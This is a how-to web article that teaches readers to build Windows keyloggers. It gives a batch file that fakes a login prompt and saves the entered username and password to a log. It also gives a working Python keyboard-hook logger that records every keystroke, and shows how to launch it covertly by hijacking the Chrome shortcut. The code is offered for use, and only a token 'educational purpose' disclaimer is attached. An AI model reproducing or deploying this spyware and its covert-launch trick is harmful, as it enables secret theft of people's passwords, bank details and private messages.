Make a Keylogger using Notepad or Python in Windows and test what it can be used for. We can use it to monitor inputs in personal computers and for many other purposes.
Keylogger is a piece of software which is able to track all the keystrokes done by a user using the computer. There are tons of different ways using which keyloggers are used to extract some confidential information from the users. Many blackhat ways are also used to monitor the target.
There are many good and bad sides of a keylogger. Like if any such script is installed in your computer system, every single information you types might reach bad hands. Bank account details, social media accounts login like details can be tracked using a simple keylogger.
So, in this article we want you to give a simple demonstration on how to make a keylogger. We’ll be using notepad or any other text editor here. This keylogger can track all the keyboard activity, e.g every single keystroke did.
We’ve shown two ways to make a keylogger. The first method is for beginners to understand how actually it work and how we made a keylogger using notepad in the first method.
But, the second method is by using Python which is for advanced users who want to explore more and more in ethical things. Python keylogger can catch keystrokes from different applications like Chrome. It’s very powerful and can be improved if you want to. Even python keyloggers can send data from remote computers directly to your specified destination.
Note: All the methods listed here are only for educational purpose. We aren’t responsible for any harm caused by these methods to anyone. It’s up to the learners how they will use this information.
2 Methods To Make A Keylogger In Windows
Let’s talk about the methods we’ll be discussing here. One method is by using notepad. We’ll be creating a batch file here and that batch file can log keystrokes done by the user.
Users who want to try the Python Keylogger needs to install some Python IDEs. Otherwise, python scripts won’t work.
Now, it’s up to you which method to choose. All the methods are explained very nicely and in details so that you can follow them with ease.
Method 1. Using Notepad To Make A Keylogger In Windows
It’s one of the common methods you’ll be learning here. All you need is notepad software or any other text editing tool. Notepad is installed in Windows by default and hence there’s no download required.
- Search for notepad and open it.
- Now paste the following codes:
@echo off color a title Login cls echo Please Enter Your Email Address And Password echo. echo. cd "C:\Logs" set /p user=Username: set /p pass=Password: echo Username=”%user%” Password=”%pass%” >> Log.txt start >>Program Here<< exit
- We need a batch file, so we’ll be saving it as filename.bat
- Click File>Save As and set file type to All, enter the name of the file as filename.bat and save it anywhere.
- Open the C drive and create a new folder named Logs.
- Now, run your batch file, enter username and password.
- Once you’ll hit enter after entering username and password, all the details will be saved to Logs folder inside the C drive.
That’s the simplest keylogger you can create using notepad. It can’t be applied to run with any other application. Only the username and password like fields entered here will be saved to the Log.txt file. This means it only works when the batch file is running and user put data in it.
Method 2. Making A Powerful Python Keylogger In Windows
Here comes the turn of some advanced users who kept looking for something advanced and exciting. There are many steps you need to perform in order to successfully complete this method. In this method, you’ll have to download a Python IDE. Otherwise the python codes we’ll be showing you won’t work.
Things you’ll need:
- Python Development kit.
- Internet connection if you don’t have Python Development kit.
- Download the Python development kit from here (official website).
- Once the download is complete, launch the installer.
- Make sure you’ve checked both the options shown in the screenshot below.
- Then download the get-pip-py from here: “https://bootstrap.pypa.io/get-pip.py”
- We now need to set environment variables, to do this, visit Advanced System Settings. So, right click on This PC>Properties>Advanced System Settings.
- Select Environment Variables option.
- Click New, Variable Name: Path, Variable Value: C:\Python27\Scripts and OK.
- After this, fire up CMD and hit following commands one by one:
- Now, open Python and create a new script by selecting File>New File and paste the commands given below:
import pyHook, pythoncom, sys, logging file_log='C:\\test\\log.txt' def onKeyboardEvent(event): logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s') chr(event.Ascii) logging.log(10,chr(event.Ascii)) return True hooks_manager=pyHook.HookManager() hooks_manager.KeyDown=onKeyboardEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages()
Note: Don’t forget to change file_log location where logs are saved.
Working Of This Python Keylogger
Let’s talk about the working, we’ve successfully set all the required environment variable. We now only need to launch that python script and it’ll be working in the background.
Now, whenever you type something in any application, it’ll be trapped inside the log file.
But this script isn’t auto-launchable. e.g we need to run it manually to work properly. To solve this problem, we’ll just patch it to any software like Chrome.
We’ll simply create a batch script, will trigger the Chrome Shortcut to launch the batch file and that batch file will trigger both Chrome and Python script at the same time.
- Create a batch file and put following codes:
start “” “C:\test.pyw”
start “” “C:\Program Files (x86)\Google\Chrome\Application\chrome.exe”
- Note: Modify the location as per your installation paths.
- Then change the shortcut target of Google Chrome.
- That’s all you need to do. Now enjoy tracing every single keystroke.
We hope that you’ve successfully built your first keylogger in Notepad or Python. If you’re still having some sort of problems while following these methods or encountered any error, feel free to drop a comment down below and we’ll try to figure that out.